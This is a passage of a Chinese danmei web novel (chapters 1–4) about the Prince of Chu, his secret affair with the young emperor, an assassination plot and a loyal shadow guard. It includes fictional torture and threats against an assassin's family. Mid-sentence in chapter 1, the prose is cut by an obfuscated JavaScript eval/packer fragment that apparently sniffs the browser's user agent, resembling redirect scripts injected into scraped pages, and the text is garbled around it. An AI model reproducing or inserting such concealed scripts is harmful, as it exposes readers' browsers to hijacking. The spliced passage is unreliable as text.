《前任的影卫向我自荐枕席》 1. 第 1 章 深夜,大风,吹灭了台阶西侧的庭灯。 廊下走出两个青衣太监,轻手轻脚地到灯旁,一人揭开琉璃罩,一人从怀里取出火折子,点燃油芯。 暖融融的光重又升了起来。 “哎哟,我说怎么熄了,这罩子上破了个洞。”提罩的太监小声道。 另一人亦压低声音:“怕是昨日楚王殿下和陛下争执,陛下扔出的砚台砸的。” “昨儿闹成那样,现在还不是……”他朝身后宫室使了个眼色,二人心照不宣地笑了起来。 身后宫室,紧闭的门窗也关不住男子断断续续的呻吟和喘息,纵使他们是无根之人,偶尔听着也觉得有些燥。 “你们两个要死了,在这里编排主子!” 身后突然传来低喝,熟悉的嗓音让两人打了个寒颤,瞬间旖旎全消。 “于,于公公。” 于公公年约四十,面白无须,乃当今自小陪着长大的大伴。他不知何时出现在庭院里,臂弯里挽着麈尾,神情阴沉:“回头再跟你们算账。去,回门口守着,等会要水找不着人。” 于公公话音刚落,门内的疾风骤雨忽停,三人忙赶回廊下。未久,门被人从里面拉开,现出一个身形修长的男人,裤子已经穿好,上身批了件氅衣,正系着带子。 于公公不敢细看,躬身行礼:“楚王殿下。”后面两个小太监有学有样地弯下身子。 “进去侍候璎奴,仔细着些。”楚王封歧道,声音还带着情事后的沙哑。他的音色本如华贵金器,这样说话,顿添靡靡之感。 于公公又一躬身,走进室内。 这时候,室内传来年轻男人懒洋洋的声音:“宫门都落锁了,非要回去么。” 封歧系带的动作不停:“明日一早要去南营,留宿不便。” 小皇帝已经披好衣服,来到门边,从后面抱住他,闷声道:“营中自有将领练兵,皇叔又不习武,何必如此躬亲。” 封歧道:“若不亲眼看着,到底不放心。” 小皇帝眼神一暗,过了会,轻声道:“是我不好,误了皇叔的事。” 封歧无奈失笑,转过身,低头交换了一个吻,按住腰后不老实的手,哑声道:“我真得走了。” “那让影卫送你,上回你半夜出宫遇到刺客,我不放心,”说着,封麟抬高声音,“十三,你送皇叔回府。” 一时寂静。 封麟声音冷下来:“十三?” 一道黑影悄无声息地落地,单膝跪在门前,禀道:“陛下恕罪,十三更衣去了。” 人有三急,哪怕是片刻不能离岗的影卫也不例外,封麟并非不讲道理的主子,便道:“那就你送皇叔回去。” 封歧身份尊贵,素爱排场,出入宫闱均是乘舆。前头四个宫女掌灯开道,后面缀着八个太监,那个影卫虽然走在步舆旁,中间却隔着一个太监。 情事餍足,封歧今日心情颇为不错,步道无聊,生出几分谈话的心思。 “本王瞧你有几分眼熟。” 太监抬头看了眼,意识到不是在跟自己说话,重又低下头。 影卫也过了两息才反应过来,恭敬地道:“上个月殿下遇刺,陛下得到消息,派出几人为您解围,其中就有小的。” 他这么一说,封歧倒是想起来了,一手支颐,侧头打量他。他下半张脸戴着黑铁面具,只有眉眼裸露在外,纵使封歧识人之术再精妙,也不能仅靠一双眼就把人认出来。不过这人身材出众,劲瘦高挑,比别的影卫出挑一些,封歧这才留下几分印象:“上次替本王挡了一箭的就是你吧?” 不意他会记得,影卫顿了一顿才轻声应道:“……是。” 上月十五,封歧如今日一般深夜出宫,半途遇上刺客截道。彼时他身边只有几个不会武的太监和车夫,一个照面就被杀了。更要命的是,入宫须解甲,他干脆把兵器放在家里,骤然遇袭,手边连个趁手的武器都没有。 好在他反应迅速,擒住一个刺客挡在身前,夺下其手里的刀,这才护住要害,一直撑到兵马司的士兵赶到。 岂料刺客还有同党,埋伏在道边的屋顶上,在兵马司的人护送他回府的路中突发冷箭。眼见其中一支正冲封歧后心而去,说时迟,那时快,一道黑影从旁扑来,拔剑已是晚了,以肉躯挡下这一箭。 当时封歧亦有所感,转身想拦下这箭,恰好接住扑至身前的人。 耳边传来箭矢入肉的闷响,中箭之人却一声不吭。 四目相对,楚王殿下撞进一双静水流深的眼,水底闪过一丝痛苦,又很快消逝无踪。封歧也说不清为什么,有那么一刹那,他被这双眼里的某些东西攫住心神,呼吸停了两拍。当时的那丝感受,如水中幻影,事后难以追根究底,他又想过两回,终究作罢。 “上回没来得及跟你说话,多谢你,救本王一命。” 封歧天生一双薄情的丹凤眼,眼尾上挑,纵使说着道谢的话,也有一丝居高临下的矜贵之感。 影卫仍然维持着恭谨的姿势,目视脚尖,宠辱不惊地道:“主子有命,不能让殿下伤到一根毫毛,小的不过依命行事。” 生死无小事,不管怎么说,封歧还是承了他的情,温和地问:“你叫什么?” “十七。” “你们影卫的数字按什么排的?身手么?” “按时间。第一批训练出来的以一十开头,第二批就是廿十,先帝一手建立影卫营,至今不过二十载,只出过三批人。” 封歧点了点头,又问:“本王记得你的肩头中了一箭,怎么这么快就出来当值,伤好了没?” 十七道:“禀殿下,一点皮肉伤,已经好了。” 楚王殿下若是想同人谈天,定能叫人如沐春风,这一路,他总能恰到好处地延续话题,不致半点冷场。 当十七意识到时,发现不知不觉间已至午门。 掌灯的太监取出牙牌,守门的士兵验过,对封歧一抱拳,打开角门。 吃了上回的教训,现在封歧出门都带着十几个侍卫。侍卫不能跟进内皇城,候在午门外,到了这里,封歧自忖用不上这影卫了,只是心上人一片好意他很是受用,且知皇命难违,便由着影卫跟出宫,一直送到王府。 临离别前,封歧对十七说道:“不管怎么说,本王欠你一个人情。日后有事,可以来寻本王。” 这时候的他并没有想和一个影卫深交,话语客套,点到即止。 回到乾清宫,十七跳上屋顶。十三已经回来,正坐在屋脊一角,脚踩在脊兽上,面具除在一边,手里握着一只玲珑酒壶,半眯着眼吹凉风,好不惬意。十七一看就知,他去方便是假,到厨房偷酒才是真。 在旁边坐下,十七横剑于膝,低声提醒了一句:“当值解面饮酒,小心被罚。” “怕什么,”十三吊儿郎当地扫他一眼,“陛下已经睡下了,你不说,谁知道。” 这个同僚素来如此儿戏,不过他说的也不错,陛下就寝,今夜应当无事。十七有些无奈,不同他争执,尽忠职守地把心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是先帝的幼子,排行第七,苦心孤诣夺来京营总督一职,把控京城军务。七年前,先帝驾崩,他正是凭着手中兵马,力排万难,推举封麟上位。 当时的他二十一,而封麟才十五,尚未及冠。封麟性情软弱,上朝时任大臣搓扁揉圆,掐着手心忍到下朝,抱住他哇地一声哭出来,说不想做皇帝了。 封歧只好接过摄政之位,做娇气侄儿的靠山,把持了几年朝事,直到两年前封麟及冠,才渐渐放权。 如今封麟已经可以独立处理大部分朝事,封歧格外欣慰。只是如此一来,多出不少余暇,他又没有什么打发时间的爱好,对自己手里的京营也就愈发上心,每逢不上朝的日子,便去城外京营。 每每想到封麟,封歧心里都一片柔软。 他的出身讳莫如深,乃宫妃和人通奸所生,这一路走来殊为不易。吃人的宫城里,若非有封麟一直陪着他,恐怕难以挣扎出一条血路。封麟于他,如明如珠,如暗夜火炬,寒岁暖烛,这一生,也许只有死亡能将他们分开。 思绪纷飞,封歧唇畔含着一丝柔软的笑,抵达南营。 南营又叫五军营,也是封歧最为心腹所在。 将马交给小兵喂养,封歧往营地中央走去,恰好副将褚德迎了过来,便会合一道。 途经阅武门,褚副将指着校场中的士兵禀报这两天的训练情况,待过了这一段路,四下无人,话音一转—— “殿下,您之前秘密送来的那个刺客,卑职可总算查出点门道来了。” 2. 第 2 章 军营深处有一间不起眼的营帐,帐外守着褚德的亲兵。见到楚王走来,亲兵们垂首抱拳,褚德眼疾手快地撩开布帘,待封歧进去,才跟着入内。 帐内布满刑具,这本就是一处刑狱之所。中间吊着一个人,下巴脱臼,双腕吊在一起,身上没有一块好肉,这副模样,真可谓惨不忍睹。 封歧没有意外,他这副将,什么都好,就是有些不为人道的爱好,乃一天生酷吏,平生最大志愿便是去厂卫诏狱一展拳脚,可惜封歧还政后不便安插人手,以免旁人多心,只能委屈他留在军中。 封歧在屋子里唯一干净的椅子上坐下,一身华服与满室血污格格不入,只单看他怡然的神情,倒好似在什么锦绣华宇之中。 听到有人进来,俘虏却毫无动静。封歧亦不着急开口,等待片刻,帐帘再次掀开,推搡进来一个年轻妇人,头套黑布,双手反缚。 褚德亲手扯下妇人头上的黑布,嘿然道:“看看这是谁。” 妇人看到屋内吊着的人,眼里瞬间溢出泪花,“相公!” 那刺客浑身一颤,睁开眼。 妇人惊恐交加,环视一圈,目光落在封歧身上,恐怕把他当成什么草菅人命的王侯贵胄了,含恨问道:“你们到底是什么人?!为什么要如此待我夫君!” 封歧微笑不语,却见那刺客神色漠然地自妇人身上扫过,好像在看一个陌生人。 褚德将这幕尽收眼底,啧啧两声:“想撇清关系?晚了!你的妻儿恐怕一直蒙在鼓里吧,到现在都不知道,你哪是什么挑夫,而是别人暗中培养的死士。说来也巧,你半个月不归,你妻子十分担忧,跑到城里到处问,有没有人见过她夫君,手背上有颗梅花痦子。正好问到我的人头上,可真是踏破铁鞋无觅处,得来全不费工夫。” 刺客双眼充血,死死地盯着他,若是目光化箭,他已经被射成筛子了。 对对,就是这个眼神!褚德反而被瞪得无比兴奋:“你的主子知道你背地里娶妻生子吗?” 妇人颤抖道:“你,你在说什么……” 刺客喉咙里发出“喀喀”声响,冲他吐出一口血沫。 这时,一道低沉华贵的嗓音响起:“接上他下巴。” 褚德这才想起这回事,走上前,捏住刺客的下巴,阴森森地道:“你若是咬舌,我就让这女人死在你前头。你家里还有一个刚满百天的儿子,回头一起送下去陪你们。”语毕,咔哒一提,脱臼的下颌复位。 刺客一能说话,立刻道:“有本事冲我来,伤害无辜之人算什么!” 此话一出,便是承认。那妇人如坠噩梦,瘫软在地,呆呆地望他。 封歧眉梢轻蔑一挑,似笑非笑:“你做刀口舔血的营生,却还娶妻生子,难道没想过他们会受你拖累吗。” 顿了一顿,给了片刻挣扎的时间,封歧又道:“本王并非滥杀之人,只要你说出身后主使,本王便即刻放这女人归家。” 话音落下,帐内短暂地归于寂静。 刺客咬紧后牙槽,面庞涨红,陷入天人交战。 封歧平和带笑的声音此刻不啻恶鬼低语:“你要你那刚出世的孩儿连母亲也失去吗?” 离开营帐,封歧长出一口浊气。方才以无辜妇孺作胁,连他自个儿都觉得有点畜生。帐内气味令人作呕,他早就受不了了,得亏修炼到家,才能一直摆着高深莫测之姿,稳坐钓鱼台。 等了一会儿,褚德也出了来。 他听封歧的,留在里面给了那个刺客一个痛快。只不过,此举让他有些不痛快,本来准备了八百个刑讯花样,才施展了一小半,技痒万分,格外遗憾。 封歧说道:“南营你看着,本王先回一趟城。” 褚德道:“殿下要亲自追查吗?” 封歧淡淡投去一眼,不语。 褚德立刻知道自己僭越了,低头抱拳:“这里交给属下,殿下放心。” 又问:“那个女人怎么处理?” 封歧道:“无辜之人,自然放还。” 褚德犹豫:“可她见过您,是否要斩草除根……” “日后若是拎不清,本王自会送他一家团圆。”封歧知褚德一片好心,只是他自摄政以后不知结过多少仇怨,区区一位民妇,最多再加一位孩童,还不能叫他放在心上。 马不停蹄地赶回京城已是日暮时分,封歧带着庞绥直奔锦衣卫衙门。 只要他亲自面见某人,实在有失身份,于是在对面茶楼要了个雅间,着庞绥拿着他的牙牌去指挥使司请人。 茶楼雅间不大,陈设简素,与楚王殿下素日里的排场大相径庭。封歧暗暗嫌弃一番。然而临时起意,也只能如此了。 不多时,庞绥带着指挥佥事江敕到来。 江敕乃康宁伯长孙,年二十一,本长了一副俊俏飞扬的五官,唯独削薄下撇的嘴唇平添几分阴沉。 一进门,江敕便拱手行礼:“见过楚王爷。不知殿下召小臣来有何要事?” 封歧坐在靠窗的位置,手里托着一盏茶,氤氲的热气模糊了那双丹凤眼的轮廓,看着格外深邃。 “坐。” “谢殿下。”江敕略一迟疑,挨着椅子边沿坐下。 封歧执起茶壶,江敕忙要接过,被他一手按下,拣起一只空茶杯,斟满后推到江敕面前。 “谢殿下。”江敕双手捧起茶杯。 待他喝完,恭恭敬敬地放下,封歧才开口:“你这脸上怎么回事?锦衣卫招人恨,被人套麻袋打了?” 江敕碰了碰嘴角,一夜过去,那儿已经完全青了,一看就是挨了打,想谎称摔跤都不行。 “昨夜……在皎月楼喝了点小酒,”他支支吾吾道,“回家后被爹揍了。” 封歧道:“你爹就是太过古板,领了户部尚书一职,在朝会上成天辩经,辩不过就持笏招呼,年初和礼部侍郎当廷打起来,拽胡子扯头发的,啧啧,那场面本王至今不敢忘。要是撞上他,本王都得暂避锋芒。” 江敕苦笑。 封歧垂眼,吹了口浮沫,问道:“上个月刺杀本王一案,查得如何了?” 江敕打起精神:“回禀殿下,刺客无一活口,纵使卑职把能想到的方法全都试了,也有心无力。” 封歧笑意一收,淡淡看他:“凡有经过,都会留痕。若刺客是京城人士,就拿户籍一一去对,若不是京城人,就更好办了,外地人口入京须得持路引登记。何日何时,从何处来,均能按图索骥。江佥事,可莫要欺本王是外行人,就信口塞责。” 江敕面色一白,跪地请罪:“殿下恕罪。您说的这些卑职都已查过。近两年来没有可疑人口入京,司籍两年一换,两年之前的记录实不可考。要说还有什么线索,刺客大臂外侧都有一个刺青,”他在地面上简单比划了一下,“这个刺青有什么名堂,卑职还未查出来,所以方才没有说。” 许久,头顶传来男人居高临下的声音:“三天内,本王要一个结果。如果还不能查明白,本王便去向皇帝建议,这锦衣卫里全是酒囊饭袋,没有存在的必要了。” 江敕俯下身,以头触地,眼中闪过屈辱,咬牙道:“是。” “下去。” “是。卑职告退。” 江敕躬身却行而出。 封歧却没有急着离开,而是搁下捧了半天一口没动的茶杯,起身将横窗推开一条缝隙,朝外看去。 茶楼外的街市上,小贩的吆喝声此起彼伏,恰是午饭时分,炊烟从各家各户的屋顶升起,将明亮的天空染出些许朦胧。 封歧眼皮一垂。 楼下,江敕步履匆匆地离开茶楼,往锦衣卫衙门而去,封歧吩咐:“派人盯着他,再让人旁敲侧击地查一查,他昨夜是否真的去了皎月楼。” 庞绥领命,出门安排一番,过了会回来,迟疑道:“您怀疑江佥事?” 封歧“唔”了一声。 今日那刺客吐露的话,有几句让他格外在意。 刺客说他三年前就已入京,没有户籍,平日里扮成普通百姓,在外城做挑夫为生,暗地里则是训练有素的死士,平日里接取任务时会与一位蒙面中年男子相见,从未见过最顶头的主子。 但是最后一次受命刺杀楚王,他和好几个同僚一起被召集到一处私宅,练习配合多日,在临行前终于见到那位神秘的主子一面。据他回忆,彼时黄昏,那位主子浑身罩在宽大的斗篷里,戴着面具。瘦高,说话的声音年轻,行走时露出一双长筒皮质皂靴,偶然探出斗篷的指尖没有留指甲。 刺客也许仍然为旧主着想,故意描述得平平无奇,却给封歧透露了许多信息。 本朝太祖出身贫苦,对奢靡之风深恶痛绝,开武十八年下过“靴禁”,皂靴仅有高级官员或有功名在身的儒士可穿,违者处以极刑。 所以这幕后之人必定是位高级官员。 文官不事劳作,无须动兵,为彰显士族身份,都会留长指甲。幕后之人却没有指甲。 所以是个高级武官。 年轻的高级武官,能对户籍下手……恕封歧狭隘,一瞬间只能想到一个人,就是有户部尚书做老爹的锦衣卫指挥佥事江某。 方才借递茶的动作,封歧特地看了他的手,十指指甲修剪得格外整齐。 如若真是他,也难怪这案子久久不能破。 但是为 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一眼看去,这位江佥事毕恭毕敬,浑身忐忑,做足了办事不力等待责备的姿态。然而封歧何等识人眼力,细看两眼,不难看出这份忐忑背后的恃扈。 这倒有趣。他并不担心本王真的把他怎么样,是因为他的背后之人么?封歧忍不住在心底冷笑。 思及此,封歧当真轻勾唇角,温煦地笑了起来。 “距离本王被刺杀,已过去整整一十七天。前半个月,本王不催,锦衣卫毫无动静,本王一催,便有重大进展,怎么,江佥事,你们锦衣卫是属驴的吗?挥一下鞭子就动一下,是本王的安危入不得尔等的眼?还是被平日里听到的奉承养得懒怠!” 封歧站起身,踱步至他跟前:“本王看,江佥事还是回家做回锦衣富贵的大少爷吧。” 江敕浑身一震,猛地抬头,欲辩,不知想到什么,在最后关头止住,哑着嗓子道:“如若‘陛下’当真裁掉卑职的绣春刀,卑职绝无怨言。” 封歧看着他,品着话中之意,轻笑一声,挥袖离开。 一迈出门,封歧的脸色就沉了下来。 若是半年前,他还在摄政,罢黜一个五品指挥佥事不过一句话的事。可如今既已还政,许多眼睛虎视眈眈,他更要谨守圣谕,为皇帝树立威信。 他没有耽搁地来到书房,一封奏本挥毫而就,本该立马送入宫去,可将其拿在手里,他却犹豫了。 这是自成年封王后,第一次冒出这样的情绪。他仿佛置身茫茫大雾之中,只要往前一步,就将一脚踩空。 只要踏出这一步。 一错眼,他看到案头另一封尚未封口的奏折。 还政已有半年,如今除了京营,其他事务已完全交到封麟手里。从上个月开始,许多言官以此攻讦,说他手握兵权,有不臣之患,先帝病重时就曾倚兵逼宫,有一难免有二。还把祖宗礼法拿出来论,道太祖遗训,亲王无事必须就藩,不得逗留京师。 封麟当廷大发雷霆,将那些奏本一封一封驳回,事后二人独处温存时,又拉着他的手可怜兮兮地发誓绝不相疑,那些兵权也只有皇叔你捏着朕才放心。 他自然感动无比,看着封麟白日应付百官,苦苦支撑,终是不忍,于是主动写下奏疏一封,自请卸任京营总督。孰料当天夜里入宫相会,出来后就遇到了刺客,忙于缉拿查案,耗费数日。后来想起此事,又被长史韦良辅拦下,至此耽搁下来。 想到这里,封歧心里一阵滞闷。 封麟明亮的笑容浮现在脑海里,少年有一双漂亮的杏眼,凝视时满眼都是爱慕与真诚。 “皇叔,不要难过了,璎奴抱抱你。嘴长在别人身上,我们管不得,只要过好我们自己的就好了。” “爷爷太过分了!皇叔,膝盖疼不疼,我偷偷带了两个护膝,你悄悄垫着,别人看不出来。爷爷现在正在怒头上,等会消了气,我就去帮你求情。” “皇叔!你看我给你带了什么,这是今年番邦进贡的果子,我只分到两个,给你一个。” “皇叔,你待璎奴好,璎奴也待你好,皇宫里太冷了,你不许离开我……” …… “殿下,该用夕食了,您看是否现在摆桌?”王府总管太监绪承安在书房外问道。 封歧猛地松了一口气,如避猛虎一般离开书房。 入夜后,皇宫里万籁俱寂,封麟从净房出来,坐在椅子上,由着宫女给他擦拭头发,面色因疲倦而显得阴沉。 “朕不是召了楚王么?他人呢?” 于公公正要回话,忽见一位小太监在门外探头探脑,正是方才派出宫传话的那个。于公公忙告了个罪,悄步走了过去。 3. 第 3 章 “陛下,楚王身体不适,不来了。” 于公公传这句话时心中便知不好,果不其然,皇帝的脸色一下子变得极其难看。 哐当!封麟一把将手边的头冠挥到地上:“现在连朕都使唤不动他了吗?!” 于公公不敢接茬,缩着头等待皇帝宣泄怒火。封麟胸口大幅度地起伏两下,冷声道:“既然身体不适,宣太医过府看看,也好表达朕对皇叔的关心。” “是。” 于公公退到外面,正点了个小太监去太医院传话,庭院那头的垂花门匆匆小跑来一太监,见到他眼睛一亮,喘着声道:“于爷爷,楚王殿下来了。” 什么?于公公心里直呼不妙,疾步走下台阶。走到庭院步道正中时,便见一人迎面走来,不是楚王封歧还能有谁?楚王寻常出入宫闱都是乘舆,今日来得突然,没有派人去宫门候着,只能纡尊降贵地走来了。 于公公走到楚王身后,压低声音提醒:“殿下当心,因为您称病不来,陛下正在气头上。” 于公公并非楚王的人,只是他身为皇帝身边的奴婢,当然盼得天颜转晴,否则天子一怒,殃及池鱼,谁都讨不了好。 路程太短,一句话的工夫已走到阶下,于公公无暇多想,先一步推门而入,禀报道:“陛下,楚王殿下来了。” 封歧候在阶下,在于公公这声之后,只闻漫长的死寂。 他先是称病驳了皇帝的面子,再又出现坐实欺君,封麟气愤也是常情。叫他多等片刻磨磨威风,更是一位学习有成的人君合该信手拈来的恩威之道……只是,一直没有注意,封麟原来已经成长为一个合格的皇帝了。 封歧闭上眼,说不上惆怅,只不过有点恍惚。 那个一受委屈就抱着他哭的少年好像还在昨天,眨眼之间,物是人非,天翻地覆。也许只有他一个人还沉湎在过去,被两人之间的感情蒙蔽了眼睛,迟迟没有看清这一切变化。 恰是夏秋之交,夜晚寒凉,夜风吹过几遭,便把浑身热量全都卷走。等到封麟终于松口,封歧已四肢冰凉。 是以封麟看到的便是男人脸色苍白,几无血色,被玄色氅衣一衬,更如一块镶金的雪玉,淡漠雍容,高高在上,触手方知温润。封麟最爱他这模样,更爱这样的他在自己身上露出隐忍的情欲,那会让他产生一种玷污宝物的快感。一念既起,封麟心里的火气顿消,取而代之的是另一种火热。 舔了舔有些干燥的嘴唇,封麟如往常一般亲昵地道:“站那么远作甚么,过来点。” 封歧漫步至小皇帝一步开外,站定,静静地将他望着。 那是一种很平静的目光,如荒宅古井,不知怀着多少秘密,沉寂万年,将漫长心事藏于时间,不复为人知。 一对上这双眼,封麟心头一滞,顿生一种被看透的错觉,生出些愧意,更因这莫名其妙的愧意而觉羞恼。 好不容易克制着没有露出异样,封麟拉过他的手,神情自然地埋怨道:“皇叔既然生病,为何不在家好好歇歇,抱恙入宫,不是平白让我担心么。” 封歧本来没病,但是方才在门口吹了半天冷风,会不会得病就未知了。 见封麟不打算追究,封歧便顺着道:“只是近日忙京营的事,有些疲累,算不得什么病,再者心里也有些想见你,就过来了。” 封麟一顿,语气平常地道:“既非年关,亦非战时,京营能有多大的事。你是总督,那些琐碎小事交给下面的人便是,何须事必躬亲,操劳至此。” 封歧静静地听着。 若是从前,他只会当封麟出口关心,熨帖不已。然而云破月出,换了个心境,听在耳中的话也仿佛换了个调调。 封麟分明在隐晦地提醒,既然还政,自然要事事上呈,京营有事,为什么他堂堂皇帝却不知道? 封歧浸淫朝堂日久,自有一副九曲玲珑的心窍。想当年刚刚接手政务,花了短短一夜就厘清了错综复杂的关系,牢牢撑住陷入混乱的王朝。如此人物,岂会迟钝到听不出君上话中深意,乃是二人从前的相处令他晕头转向,一叶障目。说得难听点,就是分不清好歹,真把自己当个人物了。 可他凭什么不能当个人物? 封麟可不知道封歧心里闪过的念头,暧昧地环腰,头偎过去,意有所指地道:“皇叔,你的身体可比军营重要多了。” 封歧垂眸,身前的青年流露出的依赖与恋慕交织。封麟有副好相貌,身形单薄,此刻垂落的睫毛在烛光下簌簌发抖,格外引人怜惜。 他还有一把黑亮如缎的长发,半湿,正有两个宫女膝坐身后,眼观鼻鼻观心地用熏笼烘干。 封歧伸手,示意其中一个宫女将熏笼给他,又要无关人等离开。 于公公没有立刻应下,而是看向封麟,待得封麟首肯,才带着其余宫人鱼贯而出,将偌大的殿室留给这对各怀鬼胎的情人。 封歧一手托着熏笼,另一手笨拙地取过一缕头发,置于熏笼上。 封麟起先仰着脖子看他,颇觉酸累,便看向铜镜。铜镜里,男人俊美的容貌仿佛镀了一层柔和的光,眼帘低垂,神态平和。 封歧说道:“去年年底放了一批老兵返乡,备兵坐营新兵不足,须得纳新招兵,我近日一直忙于此事。另外,近日下边在京直隶边境抓获两个没有路引的偷渡之人,禀到我案头,想重设道路监察,巡视科道。” 封麟心头发冷,仗着封歧在身后,看不到正脸,眼神幽暗。语音倒是如常:“皇叔想设便设,何需特地来跟我说。” 封歧道:“我本有此打算,细想又不妥,如今政务已经归还给陛下,这些奏请还呈到我这里,像什么话。想是下面的人一时还未习惯,才犯下这等大错。我已原封返还,让他们择日给陛下,陛下若要责罚,也不必顾及他们颜面,早早立威才好。” 其实并非下边的人奏请出错。自先帝任命封歧为京营总督后,军务全是封歧一手负责,历年未改。他如今突然这样点醒,反而意味深长。 封麟不自在地动了动,说道:“好了,朕现在不想听这些!” 一顿,觉出语气生硬,封麟轻轻蹭了蹭脑袋,可怜兮兮地:“朝事拿到勤政殿说就是,寝殿里还议这些,怪烦人的。” “别动。” 封歧眼疾手快拢住一缕快戳进熏笼的发丝,五指轻按他的后脑,将脑袋固定住,专心地继续烘烤湿发。 封麟恨他拿乔,等了片刻,一咬牙,主动去解眼前的腰带。 不想,一只修长有力的手按上来,止住他的动作。 “陛下,今夜臣确实有点不适。”封歧说。 封麟一呆,怯生生地抬头看。只见男人眼下发青,眉宇间确然有着掩饰不去的憔悴,眼神疲倦,如负千钧。 他心里一酸,说出了晚上第一句真心实意的话:“皇叔要多多保重。” “嗯。”封歧与他对视片刻,一勾唇角。冬雪初融,得见春山。封麟怔怔看着,下意识随他一起露出一个纯净的笑。 封歧问:“陛下,今日江敕可曾入宫?” 封麟 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封麟飞快接上:“要么是涉案之人,要么就是个酒囊饭袋,以此塞责结案。以朕看,不论他是哪种,这指挥佥事一职都担不得了。皇叔放心,朕这就褫了他的官,打入诏狱,严加审讯,给皇叔一个交代。” 封歧感动道:“谢陛下。” 封麟撇嘴:“怎么还称呼这般生分。” 封歧一笑,深深地望着他,声音低沉温柔,唤他小名:“璎奴。” 封麟这才满意,笑逐颜开:“皇叔,那刺客还说了什么线索?你告诉我,我让人帮你查案。” 回到楚王府,封歧在书房召见了左长史韦良辅。这人虽是朝廷任下的王府长史,有监察亲王之权,私下实乃他心腹幕僚。 太祖遗训,亲王的奏疏,必须由长史通署后呈进,否则便是违制,犯擅权之罪。简单来说,他那封自请卸任的奏疏,没有韦良辅署名,根本出不了王府。正是因此,那封奏疏至今还在他的案头,悬崖勒马,犹未为晚。 主从于书房关门密谈,不多时,韦良辅告退离去,离开的方向却不是客居院所,而是王府护卫司。 韦良辅离开后,封歧在书桌后又坐了片刻。 桌角摆着一盏七烛铜灯,烧了这么许久,已化了许多烛泪,蜿蜒而下,逶迤颓靡。 封歧静静地看着,烛光打亮他半边侧脸,在另半张脸上留下深深浅浅的阴影。也不知过了多久,他终是轻轻一叹,自桌下抽屉取出两封奏疏,凑到烛火上,任火苗飞卷,付之一炬。 他举着那团火苗,凝望良久,直到指尖发烫,才摆至身侧,松开手。 火又在地面烧了两息,迸发出最后的光彩,骤然熄灭。再热烈明亮的火焰,最终都不过熄灭一途。 正是如此,向来如此。不过如此。 封歧推开椅子,起身。黑色云靴无意地踩过灰烬,离开了这里。 封歧一如往常地梳洗睡觉。 半夜五更,正是夜色最浓,破晓前夕,四道蒙面黑影悄无声息地摸上屋顶。 这群人身法高绝,气息内敛,非大内影卫不能有这样绝妙的藏息功夫。他们跳下院子,甚至没有惊动几步开外背对着的王府卫兵。 此乃楚王起居之所,主屋面阔九扇,只比皇帝住的寝宫小上些许,分内外两间。黑影们潜入内间,来到床边。被褥鼓囊,枕上散着一头乌发。其中一人位置最好,便由他举起匕首,其余人警惕四方随时策应。 手起匕落,不过电光火石。 然而,就在雪亮的锋刃即将触到被褥的一瞬,忽然自一旁横插另一形制相同的匕首。铛!两刃相撞,在这黑夜里不啻雷鸣。 4. 第 4 章 刺客之中,竟有人临时反水。不仅救下楚王一命,更惊动了外间守夜的太监。稀奇的是,那个太监却不入内护主,反而疾步朝外奔命。 刺客们直觉不妙,掀开被褥,只见下面哪有什么楚王,而是一个做工粗糙套着假发的偶人。 屋外火光大作,卫兵不知从哪里冒出来,将此处团团围住,事到如今,还有什么不明白的,楚王先一步设下陷阱,等人自投罗网。 楚王做事素来滴水不漏,恐怕院墙上还有弓箭手埋伏,纵使刺客有通天武艺,也在劫难逃。 刺客头领瞬间就做出决定,事已至此,任务失败,他们哪怕长眠于此,也不能留下把柄。头领当即横过匕首刎向叛徒,见此,其他二人默契地围上前。 按说既已背主,便无拘于从前规矩,这叛徒怎么也该挣扎一二。谁知他却只默默站在原地,眼睛只看着床上的假人,动也不动,静待属于自己的死亡。 付出生命的代价,却只是虚惊一场。 值得吗? 忽然,衣柜被人踹开,一样东西倏然飞出,恰好撞上头领手里的匕首。匕首力道不散,划伤锁骨。那物咕噜噜滚落在地,乃一只军中常见的射箭用的铁扳指。 柜门大开,数名士兵冲出,与此同时,其余角落也钻出许多人手,霎时间将不速之客团团围住。里外合围,这等天罗地网,连只苍蝇都飞不出去。 刺客们不甘束手就擒,和士兵们战在一处。屋内空间狭小,纵有再多人手也施展不开,局面一时僵持不下。 褚德就是方才扔出扳指的人,他扶刀站在战圈外,饶有兴致地摸了摸下巴。 他一直躲在衣柜里,衣柜留了一条缝,从他的角度,可以将床前发生的事看得一清二楚。方才有名刺客反水,他以为是楚王的人,这才出手救下,谁想真打起来了,那人又开始帮其他刺客。有趣,真真有趣! 倏忽之间,屋门被人从外面推开,从里往外看,唯见乌泱泱的人头,怕是整个王府护卫司的人全都来了。个个执火持械,纪律森严。 “都给本王住手!” 人群分开,一人华裾鹤氅,从容步至最前。 士兵令行禁止,当即收兵。而那群蒙面刺客也许是知道大势已去,竟也住了手,互相对视一眼—— 封歧道:“不必服毒,本王放你们离开。” 紧随其后的韦良辅脸色大变:“殿下万万不可!如此良——” 封歧抬起右手,他只能愤懑不甘地吞下剩下的话。 封歧脸上没什么表情,淡淡道:“你们可要想好,如果自尽,留下尸首,何尝不是证据。届时,你们的主子更加难做。” 刺客头领粗着嗓子道:“你放我们走?此话当真?” 封歧:“自然。” 说完,负手让至一旁,留出一条道路。 刺客头领也是艺高人胆大,竟当真收起兵器,领人大摇大摆地走过去。 这时候,褚德走出屋子,来到封歧身后,附耳说了两句话。封歧眉头微蹙,目光在几个刺客中逡巡,说道:“且慢。” 气氛刹那紧张。 刺客头领绷直身子,握住腰间匕首,激将道:“殿下莫不是要当着这么多人的面食言?” 封歧问:“方才是谁‘救’了本王?” 刺客们一动不动。 封歧:“留下他,其他人离开。” 刺客头领如今也看明白了,楚王不知为什么对他们身后的主子有所顾虑,不愿撕破脸皮。既然如此,他便硬气几分,一口拒绝。 “楚王误会了,方才不过我们内部闹了些矛盾。他并非您的人,不是吗。” 封歧不语,目光一个个从他们脸上扫过,他们一样蒙面,一样沉默,一样避开他的眼神……只是到底还是有一人不同,封歧能认出一次,就能认出第二次,可那人和同伴一样漠然垂首,并未向他投来丝毫求救的眼神。许久,封歧轻轻颔首:“诸位走好。” 书房内,韦良辅气得忘了尊卑,指着封歧说不出话。 